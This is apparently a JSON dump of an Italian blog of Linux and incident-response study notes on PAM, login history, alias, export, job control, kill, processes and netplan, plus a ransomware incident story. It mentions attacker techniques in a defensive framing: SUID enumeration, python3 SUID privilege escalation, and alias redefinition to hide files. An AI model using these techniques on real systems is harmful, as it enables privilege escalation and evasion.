uniq -c | sort -rn | head -10 e' il modo piu' rapido per vedere gli IP che stanno facendo brute force. Se un IP compare centinaia di volte, e' un candidato immediato per il blocco con ufw deny from IP. Collegato a # iam — categoria log — categoria auth-log — fonte complementare per gli stessi eventi who — mostra sessioni attive in questo momento journalctl — alternativa per eventi di autenticazione pam — genera gli eventi che finiscono in wtmp e btmp ","date":"25 marzo 2026","externalUrl":null,"permalink":"/comandi/last-lastb/","section":"Comandi","summary":"last mostra la cronologia dei login riusciti da /var/log/wtmp. lastb mostra i login falliti da /var/log/btmp. Entrambi leggono file binari — non usare cat, usare questi comandi.","title":"last / lastb - login history","type":"comandi"},{"content":" Cosa fa # Sistema di autenticazione modulare di Linux. Quando un servizio (SSH, sudo, login) deve autenticare un utente, non gestisce l'autenticazione da solo — delega a PAM. PAM esegue una catena di moduli configurabili, ognuno con un compito preciso. Questo e' il motivo per cui nei log vedi sempre pam_unix(sshd:auth) invece di sshd:auth.\nTL;DR # ssh pippo@server │ ▼ sshd ──delega──► PAM │ ▼ catena moduli /etc/pam.d/sshd │ pam_unix → controlla /etc/passwd e /etc/shadow pam_limits → controlla limiti risorse pam_env → imposta variabili d\u0026#39;ambiente │ ▼ autenticazione: OK o FAILED │ ▼ log in /var/log/auth.log: pam_unix(sshd:auth): authentication failure Architettura — moduli e stack # /etc/pam.d/ ├── sshd ← configurazione PAM per SSH ├── sudo ← configurazione PAM per sudo ├── login ← configurazione PAM per login da console ├── su ← configurazione PAM per su └── common-auth ← configurazione condivisa — inclusa da tutti Ogni file contiene uno stack di righe nel formato:\ntipo_controllo modulo argomenti # Esempio da /etc/pam.d/sshd: auth required pam_unix.so # verifica password auth required pam_nologin.so # blocca se esiste /etc/nologin account required pam_unix.so # verifica account attivo session required pam_unix.so # apre/chiude la sessione I quattro tipi di gestione # Tipo Cosa controlla auth Identita' — verifica chi sei (password, chiave) account Account — verifica se puoi accedere (scadenza, orari) password Cambio password — regole di complessita' session Sessione — setup e teardown (montare home, log) I flag di controllo # Flag Comportamento required Deve passare — ma esegue tutti i moduli prima di fallire requisite Deve passare — se fallisce si ferma subito sufficient Se passa, basta — ignora i moduli successivi optional Il risultato non e' determinante Cosa appare in auth.log # # Login SSH riuscito pam_unix(sshd:session): session opened for user barno(uid=1000) by barno(uid=0) # Login SSH fallito — utente inesistente pam_unix(sshd:auth): check pass; user unknown # sudo riuscito pam_unix(sudo:session): session opened for user root(uid=0) by barno(uid=1000) # sudo fallito — utente non in sudoers sudo: barno : user NOT in sudoers # su riuscito pam_unix(su-l:session): session opened for user testuser(uid=1001) by barno(uid=1000) # la \u0026#34;l\u0026#34; in su-l indica login shell — conferma l\u0026#39;uso di su - Il formato e' sempre: pam_modulo(servizio:tipo): messaggio\nModuli pam principali # Modulo Cosa fa pam_unix.so Autenticazione classica — legge /etc/passwd e /etc/shadow pam_nologin.so Blocca tutti i login se esiste /etc/nologin pam_limits.so Applica limiti di risorse da /etc/security/limits.conf pam_env.so Imposta variabili d'ambiente al login pam_tally2.so Conta i tentativi falliti — blocca dopo N fallimenti pam_google_authenticator.so 2FA con Google Authenticator Scenario Reale # Un analista vede in auth.log:\npam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.33.12.1 user=root Il pattern user=root con rhost esterno significa tentativi di brute force SSH direttamente su root. La prima contromisura e' PermitRootLogin no in /etc/ssh/sshd_config — PAM non arrivera' mai a verificare la password di root perche' sshd blocca prima.\nDove l'ho incontrato # auth-log — ogni riga di auth.log e' generata da un modulo PAM sudo — sudo delega l'autenticazione a PAM su — su delega l'autenticazione a PAM Collegato a # iam — categoria system — categoria auth-log — dove PAM scrive i log sudo — usa PAM per autenticare su — usa PAM per autenticare ssh — usa PAM per autenticare ","date":"25 marzo 2026","externalUrl":null,"permalink":"/concetti/pam/","section":"Concetti","summary":"PAM (Pluggable Authentication Modules) e' il sistema di autenticazione modulare di Linux. Ogni servizio delega l'autenticazione a PAM che esegue una catena di moduli configurabili in /etc/pam.d/.","title":"PAM - Pluggable Authentication Modules","type":"concetti"},{"content":"","date":"25 marzo 2026","externalUrl":null,"permalink":"/tags/post-mortem/","section":"Tags","summary":"","title":"Post-Mortem","type":"tags"},{"content":"`\nCosa fa # Crea un nome alternativo (alias) per un comando o una sequenza di comandi. La shell sostituisce l'alias con il comando originale prima dell'esecuzione. Gli alias non compaiono nell'output di printenv o set — si vedono solo con alias senza argomenti.\nSintassi # alias [nome='comando']\nComandi essenziali # Comando Flag Significato flag Cosa fa alias — — Mostra tutti gli alias attivi nella sessione alias nome='comando' — — Crea un alias temporaneo per la sessione unalias nome — — Rimuove un alias dalla sessione unalias -a -a all Rimuove tutti gli alias della sessione \\comando — — Esegue il comando originale ignorando l'alias Alias temporanei vs permanenti # # Temporaneo — dura solo la sessione corrente alias ll=\u0026#39;ls -la\u0026#39; alias gs=\u0026#39;git status\u0026#39; alias grep=\u0026#39;grep --color=auto\u0026#39; # Permanente — aggiungi a ~/.bashrc (bash) o ~/.zshrc (zsh) echo \u0026#34;alias ll=\u0026#39;ls -la\u0026#39;\u0026#34; \u0026gt;\u0026gt; ~/.bashrc source ~/.bashrc # ricarica senza riaprire il terminale # Verifica che l\u0026#39;alias sia attivo alias ll # alias ll=\u0026#39;ls -la\u0026#39; Esempi utili # # Navigazione alias ..=\u0026#39;cd ..\u0026#39; alias ...=\u0026#39;cd ../..\u0026#39; alias ll=\u0026#39;ls -la\u0026#39; alias la=\u0026#39;ls -A\u0026#39; # Git (quello che usi su zsh) alias gs=\u0026#39;git status\u0026#39; alias ga=\u0026#39;git add\u0026#39; alias gc=\u0026#39;git commit\u0026#39; alias gp=\u0026#39;git push\u0026#39; alias gl=\u0026#39;git log --oneline --graph\u0026#39; # Sicurezza — conferma prima di operazioni distruttive alias rm=\u0026#39;rm -i\u0026#39; alias cp=\u0026#39;cp -i\u0026#39; alias mv=\u0026#39;mv -i\u0026#39; # man con larghezza fissa (dall\u0026#39;esempio del capitolo) alias man=\u0026#39;MANWIDTH=75 man\u0026#39; # Audit rapido alias — utile in incident response alias ports=\u0026#39;ss -tlnp\u0026#39; alias myip=\u0026#39;curl ifconfig.me\u0026#39; Combinazioni utili # # Vedere la definizione di un alias specifico alias ll # alias ll=\u0026#39;ls -la\u0026#39; # Eseguire il comando originale senza alias (es. rm senza -i) \\rm file.txt # il backslash dice alla shell di ignorare l\u0026#39;alias # Trovare tutti gli alias che contengono git alias | grep git Scenario Reale # Un analista nota che su un sistema compromesso il comando ls si comporta in modo insolito — nasconde certi file. Con alias ls scopre che e' stato ridefinito come alias ls='ls --ignore=sospetto'. Questo e' un vettore di evasione: un attaccante che ottiene accesso ai dotfile puo' ridefinire comandi comuni per nascondere la propria presenza. Il \\ls (con backslash) bypassa l'alias e mostra l'output reale.\nDove l'ho usato # shell-interattiva — gli alias permanenti vivono nei dotfile Note personali # In un'analisi forense, controlla sempre gli alias prima di usare comandi di sistema su un sistema sospetto. Un attaccante puo' aver ridefinito ls, ps, netstat per nascondere processi o file.\nUsa sempre \\comando o il path completo /bin/ls per bypassare gli alias.\nalias | grep git e' il modo piu' rapido per vedere tutti gli alias git che hai accumulato in zsh nel tempo. Collegato a # system — categoria shell-interattiva — i dotfile ~/.bashrc e ~/.zshrc contengono gli alias permanenti shell-environment — contesto dell'ambiente shell export — altro meccanismo di personalizzazione dell'ambiente ","date":"24 marzo 2026","externalUrl":null,"permalink":"/comandi/alias/","section":"Comandi","summary":"Crea scorciatoie per comandi lunghi o complessi. Gli alias temporanei durano solo la sessione corrente, quelli permanenti vanno in ~/.bashrc o ~/.zshrc.","title":"alias - create command alias","type":"comandi"},{"content":"`\nCosa fa # Marca una variabile shell come variabile d'ambiente, rendendola visibile a tutti i processi figli lanciati dalla sessione corrente. Senza export, una variabile esiste solo nella shell corrente e non viene ereditata.\nSintassi # export [variabile[=valore]]\nComandi essenziali # Comando Flag Significato flag Cosa fa export VAR=valore — — Definisce e esporta in un solo passaggio VAR=valore; export VAR — — Definisce prima, esporta dopo — equivalente export PATH=$PATH:/nuovo — — Aggiunge una directory al PATH export -p -p print Mostra tutte le variabili esportate nella sessione PATH — aggiungere, verificare, ricaricare # Il PATH e' la lista di directory dove la shell cerca gli eseguibili, separate da :. Quando scrivi ls, la shell cerca ls in ogni directory del PATH nell'ordine elencato.\n# Vedere il PATH attuale echo $PATH printenv PATH # /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin # Aggiungere una directory al PATH per la sessione corrente export PATH=$PATH:/opt/mio-tool/bin # $PATH = valore attuale, : = separatore, poi la nuova directory # Aggiungere in modo permanente — scrivi in ~/.bashrc o ~/.profile echo \u0026#39;export PATH=$PATH:/opt/mio-tool/bin\u0026#39; \u0026gt;\u0026gt; ~/.bashrc # Ricaricare il file senza chiudere il terminale source ~/.bashrc # oppure il punto e\u0026#39; un alias di source: . ~/.bashrc source — eseguire un file nella shell corrente # source (o il suo alias .) esegue un file di script nella shell corrente invece di aprire una subshell. Le variabili definite nel file diventano disponibili nella sessione corrente.\nsource ~/.bashrc # ricarica la configurazione bash source ~/.zshrc # ricarica la configurazione zsh . ~/.profile # equivalente con il punto # Differenza critica: bash script.sh # esegue in una subshell — le variabili non escono source script.sh # esegue nella shell corrente — le variabili restano # La differenza in tre scenari: # Scenario 1 — variabile locale + subshell MESSAGGIO=\u0026#34;ciao\u0026#34; ./test.sh # NON vede $MESSAGGIO — subshell separata # Scenario 2 — export + subshell export MESSAGGIO=\u0026#34;ciao\u0026#34; ./test.sh # VEDE $MESSAGGIO — eredita l\u0026#39;ambiente # Scenario 3 — source (nessuna subshell) MESSAGGIO=\u0026#34;ciao\u0026#34; source test.sh # VEDE $MESSAGGIO — stesso processo MANWIDTH — esempio di variabile di sessione # # Imposta la larghezza di man per la sessione corrente export MANWIDTH=75 # Oppure solo per un singolo comando senza export permanente MANWIDTH=75 man ls # la variabile viene passata solo a quel processo, non esportata globalmente Combinazioni utili # # Verifica che una variabile sia stata esportata correttamente printenv NOME_VARIABILE # Esporta piu\u0026#39; variabili in un colpo export EDITOR=vim PAGER=less HISTSIZE=10000 # Rimuovi una variabile dall\u0026#39;ambiente unset NOME_VARIABILE export in ~/.bashrc # è il pattern corretto per variabili \u0026quot;globali\u0026quot; personali:\napri terminale │ ▼ bash legge ~/.bashrc │ ▼ export PATH=$PATH:/nuovo ← viene eseguito export EDITOR=vim ← viene eseguito │ ▼ variabili disponibili in questa shell e in tutti i processi figli che lancia Ogni volta che apri un nuovo terminale, ~/.bashrc viene riletto e le variabili vengono ri-esportate. Non sono \u0026quot;globali\u0026quot; nel senso del sistema operativo — sono ri-create ad ogni shell — ma in pratica si comportano come tali per l'utente.\nLa distinzione importante: se cambi ~/.bashrc e vuoi che la shell corrente la veda subito, devi fare source ~/.bashrc — la shell corrente non la rilegge automaticamente.\nScenario Reale # Un analista scrive uno script Python che legge la API key da variabile d'ambiente invece di averla hardcoded nel codice. Prima di lanciare lo script esegue export ANTHROPIC_API_KEY=$(cat ~/.secrets/key) — la variabile viene ereditata dal processo Python figlio. Questo e' il pattern corretto: mai mettere segreti nel codice, sempre passarli via ambiente.\nDove l'ho usato # shell-environment — contesto teorico delle variabili d'ambiente Note personali # export PATH=$PATH:/nuova/dir — il $PATH prima dei due punti e' fondamentale. Senza di esso sostituiresti l'intero PATH con solo la nuova directory, rendendo inaccessibili tutti i comandi di sistema. Le modifiche fatte con export nel terminale sono temporanee — durano solo fino alla chiusura della sessione. Per renderle permanenti devi scriverle in ~/.bashrc (non-login) o ~/.profile (login). Collegato a # system — categoria printenv — per verificare le variabili esportate shell-environment — concetto teorico shell-interattiva — i dotfile usano export per definire l'ambiente ","date":"24 marzo 2026","externalUrl":null,"permalink":"/comandi/export/","section":"Comandi","summary":"Esporta variabili shell nell'ambiente, rendendole visibili ai processi figli. Fondamentale per PATH, EDITOR e variabili di configurazione che devono essere ereditate.","title":"export - export variable to environment","type":"comandi"},{"content":" TL;DR CIA Triad: Confidentiality, Integrity, Availability - i tre pilastri che ogni attacco viola Un ransomware li colpisce tutti e tre in sequenza: esfiltra (C), cifra (I), blocca (A) L'ingresso era un bit SUID lasciato su python3 - zero exploit, zero CVE Senza la CIA Triad come mappa, stai guardando i sintomi senza vedere la malattia ▶ $ history find -perm -4000 -type f 2\u0026gt;/dev/null ls -la /etc/shadow diff /backup/etc/passwd /etc/passwd systemctl status ssh stat /usr/bin/python3 Sono le 23:12. Il telefono vibra tre volte di fila - notifiche di monitoring. Mi alzo, apro il portatile.\nIl dashboard è rosso.\nNon uno o due alert. Rosso ovunque. Processi che non esistevano un'ora fa. I/O di disco a 100% su prod-db-01. Un file che si chiama READ_ME_BITCOIN.txt comparso in /var/www/html/.\nApro una connessione SSH. Il cursore lampeggia.\nls -la /var/www/html/READ_ME_BITCOIN.txt Esiste. 847 byte. Creato 23 minuti fa.\nNon lo apro ancora. Prima guardo cosa sta girando.\nLa scena # Il disco sta ancora scrivendo. Qualcosa cifra i file in tempo reale - li rinomina con estensione .locked. Ho venti secondi prima che arrivi anche alle directory di configurazione.\nIsolo il server dalla rete. Stacco il cavo virtuale. Il disco si calma.\nTroppo tardi per i file. Non troppo tardi per capire.\nApro il file di testo:\nYour files have been encrypted. Send 0.15 BTC to 1A2B3C... within 72 hours. Do not contact authorities. La mappa # In quel momento non penso a \u0026quot;ransomware\u0026quot;. Penso a tre lettere: C, I, A.\nNon la Central Intelligence Agency. La triade che ogni analista di sicurezza ha in testa come bussola.\nConfidentiality - chi poteva leggere quei file? Integrity - qualcuno ha modificato qualcosa che non avrebbe dovuto? Availability - i dati sono ancora accessibili?\nL'ultima risposta è ovvia. I file non sono più leggibili. Availability violata.\nMa le altre due?\nLa traccia - Integrity # Cerco le modifiche recenti. I log di sistema hanno una lacuna strana - 40 minuti senza righe, poi riprendono come nulla fosse.\ndiff /backup/etc/passwd /etc/passwd \u0026gt; svc-backup:x:1003:1003::/home/svc-backup:/bin/bash Un utente nuovo. Aggiunto durante la lacuna nei log. Integrity violata - i dati di sistema sono stati modificati senza autorizzazione, e la modifica è stata progettata per non essere rilevata.\nLa traccia - Confidentiality # Prima di cifrare, quasi sempre c'è una fase di esfiltrazione. I dati valgono due volte: prima li vendono, poi chiedono il riscatto.\nGuardo il traffico di rete delle ultime ore nei log del firewall. C'è una connessione in uscita verso un IP esterno - 847 MB trasferiti tre ore prima della cifratura.\nIl database clienti pesa 820 MB.\nConfidentiality violata - i dati sono usciti prima che qualcuno se ne accorgesse.\nIl punto d'ingresso # La domanda che rimane è: come sono entrati? Non c'erano porte esposte, nessun servizio web vulnerabile noto.\nfind / -perm -4000 -type f 2\u0026gt;/dev/null La lista scorre. Quasi tutto normale. Poi:\n/usr/bin/python3 stat /usr/bin/python3 Access: (4755/-rwsr-xr-x) Uid: ( 0/ root) Quattro. Sette. Cinque. SUID root su python3.\nDa lì in poi era tutto in discesa. L'account svc-backup - aggiunto via Integrity violation - aveva accesso limitato. Con SUID root su python3, tre righe di codice erano sufficienti per diventare root. Da root, tutto il resto: cifratura, log tampering, utente fantasma.\nDietro le quinte # La CIA Triad # Tre obiettivi che qualsiasi sistema di sicurezza deve proteggere:\ngraph TD C[Confidentiality\\nSolo chi è autorizzato può leggere] I[Integrity\\nI dati non vengono alterati senza autorizzazione] A[Availability\\nI dati sono accessibili quando servono] Un ransomware moderno li viola tutti e tre in sequenza:\nFase Pilastro violato Cosa succede Esfiltrazione Confidentiality I dati escono prima della cifratura Log tampering Integrity Le tracce vengono cancellate Cifratura file Availability I dati non sono più accessibili Come rilevare ogni violazione # # Confidentiality - file sensibili esposti? ls -la /etc/shadow # deve essere: -rw-r----- root shadow # Integrity - modifiche non autorizzate? diff /backup/etc/passwd /etc/passwd # Availability - servizi attivi? systemctl status ssh nginx Il vettore: SUID su python3 # Come documentato in chmod +s - il bit che dimentichi e l'attaccante trova: SUID root su un interprete è escalation immediata, senza exploit, senza CVE. Un typo in un chmod alle 23:00 può aprire una backdoor root per ore.\nIoC # Tipo Valore Pilastro MITRE ATT\u0026amp;CK File READ_ME_BITCOIN.txt Availability T1486 Utente svc-backup aggiunto Integrity T1136.001 Traffico 847 MB verso IP esterno Confidentiality T1041 Binario python3 con SUID root - T1548.001 Lacuna log 40 min di silenzio Integrity T1070.002 exit 0 # La CIA Triad non è un framework accademico da imparare e dimenticare. È una lista di controllo da avere in testa durante un incidente: cosa hanno violato? In quale ordine? Cosa manca ancora da trovare?\nQuella notte, senza quella mappa, avrei visto solo i file cifrati. Con quella mappa, ho trovato l'esfiltrazione, l'utente fantasma, e il bit SUID che aveva reso possibile tutto.\nConcetti correlati: iam · linux permissions\nApprofondimento tecnico: Il bit s - capire il SUID · chmod +s in produzione\n","date":"24 marzo 2026","externalUrl":null,"permalink":"/blog/cia-triad-ransomware/","section":"Blog","summary":" TL;DR CIA Triad: Confidentiality, Integrity, Availability - i tre pilastri che ogni attacco viola Un ransomware li colpisce tutti e tre in sequenza: esfiltra (C), cifra (I), blocca (A) L'ingresso era un bit SUID lasciato su python3 - zero exploit, zero CVE Senza la CIA Triad come mappa, stai guardando i sintomi senza vedere la malattia ▶ $ history find -perm -4000 -type f 2\u003e/dev/null ls -la /etc/shadow diff /backup/etc/passwd /etc/passwd systemctl status ssh stat /usr/bin/python3 Sono le 23:12. Il telefono vibra tre volte di fila - notifiche di monitoring. Mi alzo, apro il portatile.\n","title":"I file erano ancora lì. Solo che non li potevo più leggere.","type":"blog"},{"content":" Cosa fa # Permettono di gestire piu' processi nella stessa sessione shell senza aprire nuovi terminali. Un job puo' girare in foreground (occupa il terminale), in background (gira liberamente), o essere sospeso (fermo, in attesa di essere ripreso).\nSintassi # jobs / fg [%n] / bg [%n] / comando \u0026amp;\nComandi essenziali # Comando Flag Significato flag Cosa fa jobs — — Lista i job sospesi o in background con numero jobs -l -l long Mostra anche il PID di ogni job fg — — Riporta l'ultimo job in foreground fg %1 %1 job number 1 Riporta il job numero 1 in foreground bg %1 %1 job number 1 Riprende il job numero 1 in background comando \u0026amp; \u0026amp; background Lancia il comando direttamente in background CTRL+Z — — Sospende il processo in foreground (invia SIGSTOP) CTRL+C — — Termina il processo in foreground (invia SIGINT) Il ciclo di vita di un job # # 1. Lanci un processo — occupa il terminale (foreground) ping google.com # 2. CTRL+Z — sospendi il processo # [1]+ Stopped ping google.com # 3. Vedi lo stato jobs # [1]+ Stopped ping google.com # 4a. Riprendi in foreground — terminale occupato fg %1 # 4b. Riprendi in background — terminale libero bg %1 # [1]+ ping google.com \u0026amp; # 5. Lancia direttamente in background senza passare da foreground ping google.com \u0026amp; # [2] 5023 nice e renice — priorita' CPU # Il valore nice controlla la priorita' di un processo nella coda CPU. Va da -20 (massima priorita') a +19 (minima priorita'). Default: 0. Solo root puo' aumentare la priorita' (valori negativi).\nComando Flag Significato flag Cosa fa nice -n 10 cmd -n niceness value Lancia cmd con priorita' bassa (+10) sudo nice -n -10 cmd -n niceness value Lancia cmd con priorita' alta (-10), richiede sudo renice -n 19 PID -n niceness value Abbassa la priorita' di un processo gia' in esecuzione sudo renice -n -5 PID -n niceness value Aumenta la priorita' (richiede sudo) # Backup che non rallenta il sistema durante l\u0026#39;orario lavorativo nice -n 19 tar -czf backup.tar.gz /var/log/ \u0026amp; # Processo critico che deve avere precedenza sulla CPU sudo nice -n -10 processo-critico Combinazioni utili # # Script di monitoring in background — libero di usare il terminale python3 monitor.py \u0026amp; # Vedi PID e stato di tutti i job jobs -l # Riporta il monitor in foreground quando serve leggere l\u0026#39;output fg %1 # Termina un job per numero senza cercare il PID kill %1 Scenario Reale # Durante un'analisi su una VM Ubuntu, un analista lancia uno script di detection in background con python3 failed_logins.py \u0026amp; e continua a navigare i log con journalctl -f nel terminale libero. Quando vuole vedere i risultati dello script, usa fg %1. Questo flusso evita di aprire una seconda sessione SSH solo per monitorare l'output.\nDove l'ho usato # linux-processes — contesto teorico su foreground e background Note personali # Note kill %1 usa il numero del job, non il PID. E' piu' comodo di kill PID quando sei gia' dentro jobs e vedi i numeri.\nCollegato a # system — categoria kill — per terminare i job (kill %1) linux-processes — concetto teorico standard-streams — i job in background ereditano stdout e stderr ","date":"24 marzo 2026","externalUrl":null,"permalink":"/comandi/jobs-fg-bg/","section":"Comandi","summary":"Gestione dei job in foreground e background nella shell. jobs elenca i processi sospesi o in background, fg li riporta in primo piano, bg li riprende senza occupare il terminale.","title":"jobs / fg / bg - gestione job shell","type":"comandi"},{"content":" Cosa fa # Invia segnali ai processi identificati dal PID. Il nome e' fuorviante: kill non termina direttamente un processo, gli manda un segnale. Il processo decide come reagire — tranne per SIGKILL (9), che il kernel esegue forzatamente senza che il processo possa ignorarlo.\nSintassi # kill [-segnale] PID...\nComandi essenziali # Comando Flag Significato flag Cosa fa kill PID — — Invia SIGTERM (15) — chiede chiusura pulita kill -9 PID -9 SIGKILL Termina immediatamente, non ignorabile kill -15 PID -15 SIGTERM Esplicito — identico a kill PID kill -1 PID -1 SIGHUP — hang up Chiude sessione o ricarica configurazione kill -l -l list Lista tutti i segnali disponibili con numero killall nome — — Termina tutti i processi con quel nome killall -u utente -u user Termina tutti i processi di un utente kill $(lsof -t -i :3000) — — Termina il processo in ascolto su una porta I segnali principali # Segnale Numero Ignorabile Uso tipico SIGTERM 15 Si Chiusura pulita — default di kill. Una reverse shell lo ignora intenzionalmente SIGKILL 9 NO Terminazione forzata gestita dal kernel — non ignorabile da nessun processo SIGHUP 1 Si Chiude sessione o ricarica config servizio SIGINT 2 Si Equivalente a CTRL+C da tastiera SIGSTOP 19 NO Pausa il processo SIGCONT 18 Si Riprende un processo in pausa Combinazioni utili # # Strategia corretta — SIGTERM prima, SIGKILL solo se necessario kill 4821 # 1. chiedi chiusura pulita sleep 5 # 2. aspetta 5 secondi kill -9 4821 # 3. se ancora vivo, forza la chiusura # Verifica che il processo sia terminato ps -p 4821 # nessun output = terminato # Termina il processo in ascolto su una porta specifica kill $(lsof -t -i :8080) # lsof -t = output solo PID, nessun testo aggiuntivo # Termina tutti i processi di un utente (incident response) sudo killall -u utente_compromesso # SIGHUP — ricarica la configurazione di un servizio senza riavviarlo # utile per nginx, sshd, wazuh-agent: applica le modifiche senza downtime kill -1 $(pgrep nginx) # pgrep = cerca il PID per nome, equivale a: ps aux | grep nginx | awk \u0026#39;{print $2}\u0026#39; # SIGINT — equivalente a CTRL+C da codice/script # utile per interrompere un processo in modo pulito dall\u0026#39;esterno kill -2 4821 # SIGSTOP / SIGCONT — pausa e ripresa (non ignorabili) kill -19 4821 # pausa il processo — rimane in memoria ma non usa CPU kill -18 4821 # riprende il processo da dove si era fermato # utile in forensics: congeli il processo per analizzarlo senza che continui ad agire nohup — resistere al SIGHUP # Quando chiudi un terminale SSH, il kernel manda SIGHUP a tutti i processi figli — che normalmente terminano. nohup (no hang up) fa ignorare quel segnale al processo, che continua a girare anche dopo la disconnessione.\n# Lanci uno script lungo via SSH — se la connessione cade, lo script continua nohup python3 monitor.py \u0026amp; # \u0026amp; = manda in background # output va automaticamente in nohup.out nella cartella corrente # Versione con log su file dedicato nohup python3 monitor.py \u0026gt; monitor.log 2\u0026gt;\u0026amp;1 \u0026amp; # 2\u0026gt;\u0026amp;1 = reindirizza stderr su stdout → tutto finisce in monitor.log # Verifica che giri ancora dopo la disconnessione ps aux | grep monitor.py Senza nohup, lanciare uno script via SSH e chiudere il terminale lo termina. Con nohup il processo sopravvive alla sessione che lo ha creato.\nScenario Reale # Un analista trova un processo python3 /tmp/miner.py in esecuzione come root alle 03:14. Prima di terminarlo documenta tutto con ps e lsof. Poi esegue kill -15 4821 per tentare una chiusura pulita. Se il processo non risponde dopo 5 secondi, usa kill -9 4821. Non parte direttamente con -9 perche' il processo potrebbe stare scrivendo dati su disco — una terminazione brusca rischierebbe di corrompere evidenze forensi.\nDove l'ho usato # linux-processes — contesto teorico sui segnali Note personali # Warning kill -9 su un processo che sta scrivendo su disco o database puo' causare corruzione dei dati. Usalo solo dopo aver provato SIGTERM senza successo.\nTip Nella tua carriera hai usato spesso -9 direttamente — in contesto forense e' meglio sempre tentare SIGTERM prima e documentare la risposta del processo.\nCollegato a # system — categoria ps — trova il PID prima di usare kill jobs-fg-bg — gestione job in foreground e background shutdown — per spegnere il sistema in modo ordinato ","date":"24 marzo 2026","externalUrl":null,"permalink":"/comandi/kill/","section":"Comandi","summary":"Invia segnali ai processi tramite PID. SIGTERM chiede una chiusura pulita, SIGKILL forza la terminazione immediata senza possibilita' di essere ignorata.","title":"kill - send signal to process","type":"comandi"},{"content":" Cosa fa # Un processo e' un'istanza di un programma in esecuzione. Il kernel assegna a ogni processo un PID univoco, uno spazio di memoria isolato e un posto nella coda CPU. Il multitasking non e' simultaneo — il kernel switcha cosi' velocemente tra i processi da sembrare parallelo.\nTL;DR # programma su disco ──fork()──► processo figlio in memoria │ PID univoco (crescente) UID = utente che lo ha lanciato stato: R / S / D / Z padre: ogni processo ha un PPID Il kernel non fa piu' cose insieme — assegna fette di CPU a turno. systemd (PID 1) e' sempre il primo processo, padre di tutti gli altri.\nLa gerarchia — albero dei processi # Ogni processo ha un padre (PPID). La catena risale sempre a PID 1.\nPID 1 — systemd │ ├── PID 234 — sshd │ └── PID 891 — bash (sessione utente) │ └── PID 1204 — ps (comando lanciato) │ ├── PID 312 — cron │ └── PID 1100 — script.sh (job schedulato) │ └── PID 445 — nginx ├── PID 446 — nginx worker └── PID 447 — nginx worker Se un processo padre termina prima del figlio, il figlio diventa orphan e viene adottato da systemd (PID 1).\nSe un processo figlio termina ma il padre non lo raccoglie con wait(), rimane come zombie — occupa una entry nella tabella processi senza usare risorse reali.\nIl ciclo di vita # fork() exec() exit() │ │ │ processo padre carica il nuovo processo termina crea una copia programma in manda SIGCHLD al padre di se stesso memoria padre chiama wait() (il figlio) (sovrascrive) entry rimossa dalla tabella Stati del processo # RUNNABLE ◄─── I/O completato │ scheduler CPU │ RUNNING │ ┌───────┴──────────┐ │ │ I/O wait CTRL+Z │ SIGSTOP ▼ │ WAITING STOPPED (stato D) │ SIGCONT │ RUNNABLE Stato Codice ps Significato Running R In esecuzione o in coda CPU Sleeping S In attesa di evento — la maggior parte Waiting D Attesa I/O disco — non interrompibile Stopped T Sospeso da SIGSTOP o CTRL+Z Zombie Z Terminato, non ancora raccolto dal padre PID e PPID # echo $$ # PID della shell corrente echo $PPID # PPID — PID del processo padre # PID 1 = sempre systemd/init # PID assegnati in ordine crescente fino a ~32768, poi ricomincia da 2 # Risalire la catena padre-figlio pstree -p 4821 # mostra l\u0026#39;albero a partire dal PID 4821 Segnali — come kernel e utenti comunicano con i processi # utente kernel processo │ │ │ │ kill -9 4821 │ │ │────────────────►│ │ │ │ SIGKILL (9) │ │ │───────────────────►│ │ │ │ non puo\u0026#39; ignorarlo │ │ │ termina forzatamente Azione utente Segnale Numero Il processo puo' ignorarlo? kill PID SIGTERM 15 Si — puo' fare cleanup kill -9 PID SIGKILL 9 NO — il kernel lo esegue CTRL+C SIGINT 2 Si CTRL+Z SIGSTOP 19 NO chiusura terminale SIGHUP 1 Si Perche' e' importante per il Blue Team # Un attaccante che ottiene esecuzione di codice su un sistema crea processi. Quei processi hanno un proprietario (UID), un padre (PPID), un tempo di vita (etime) e file aperti. Conoscere la struttura dei processi permette di rispondere alle domande chiave in incident response: chi ha lanciato questo processo? Da dove? Da quanto gira? Cosa ha aperto?\nScenario Reale # Alle 03:14 un processo python3 /tmp/miner.py gira come root con CPU al 99%. Il Blue Team usa ps -p 4821 -o pid,ppid,user,etime,cmd per vedere da quanto gira e chi e' il padre. Con pstree -p 4821 risale la catena fino a capire come e' stato lanciato. Con lsof -p 4821 vede i file aperti e le connessioni di rete attive. Solo dopo questa documentazione procede alla terminazione.\nDove l'ho incontrato # ps — comando principale per ispezionare i processi kill — per inviare segnali ai processi Collegato a # system — categoria incidents — categoria ps — snapshot dei processi in esecuzione kill — segnali ai processi jobs-fg-bg — gestione foreground e background systemctl — gestione servizi (processi gestiti da systemd) ","date":"24 marzo 2026","externalUrl":null,"permalink":"/concetti/linux-processes/","section":"Concetti","summary":"Un processo e' un programma in esecuzione con PID univoco, spazio di memoria isolato e stato. Il kernel crea l'illusione del multitasking switching rapidamente tra processi in coda CPU.","title":"Linux Processes - processi","type":"concetti"},{"content":"`\nCosa fa # Gestisce la configurazione di rete su Ubuntu (dalla versione 17.10 in poi). Legge file YAML in /etc/netplan/ e genera la configurazione per il backend sottostante (systemd-networkd o NetworkManager). Sostituisce i vecchi file /etc/network/interfaces.\nSintassi # sudo netplan [comando]\nComandi essenziali # Comando Flag Significato flag Cosa fa sudo netplan apply — — Applica la configurazione attuale senza riavviare sudo netplan try — — Applica temporaneamente — ripristina dopo 120s se non confermi sudo netplan generate — — Genera la configurazione del backend senza applicarla sudo netplan get — — Mostra la configurazione attuale in formato YAML File di configurazione # I file YAML vivono in /etc/netplan/. Vengono letti in ordine numerico — numeri piu' bassi hanno precedenza.\n# Vedere i file presenti sudo ls /etc/netplan/ # 50-cloud-init.yaml ← generato da cloud-init su Ubuntu Server # Modificare la configurazione sudo vim /etc/netplan/50-cloud-init.yaml Configurazione IP statico — lab Ubuntu # Questa e' la configurazione usata per la VM Ubuntu Server del laboratorio (IP fisso 192.168.64.3).\nnetwork: version: 2 ethernets: enp0s1: dhcp4: false addresses: - 192.168.64.3/24 nameservers: addresses: [8.8.8.8, 1.1.1.1] # Dopo aver modificato il file sudo netplan apply # Verifica che l\u0026#39;IP sia corretto ip a Problema cloud-init — IP che torna dinamico dopo il riavvio # Su Ubuntu Server, cloud-init rigenera il file 50-cloud-init.yaml ad ogni avvio sovrascrivendo le modifiche. Per bloccarlo:\nsudo bash -c 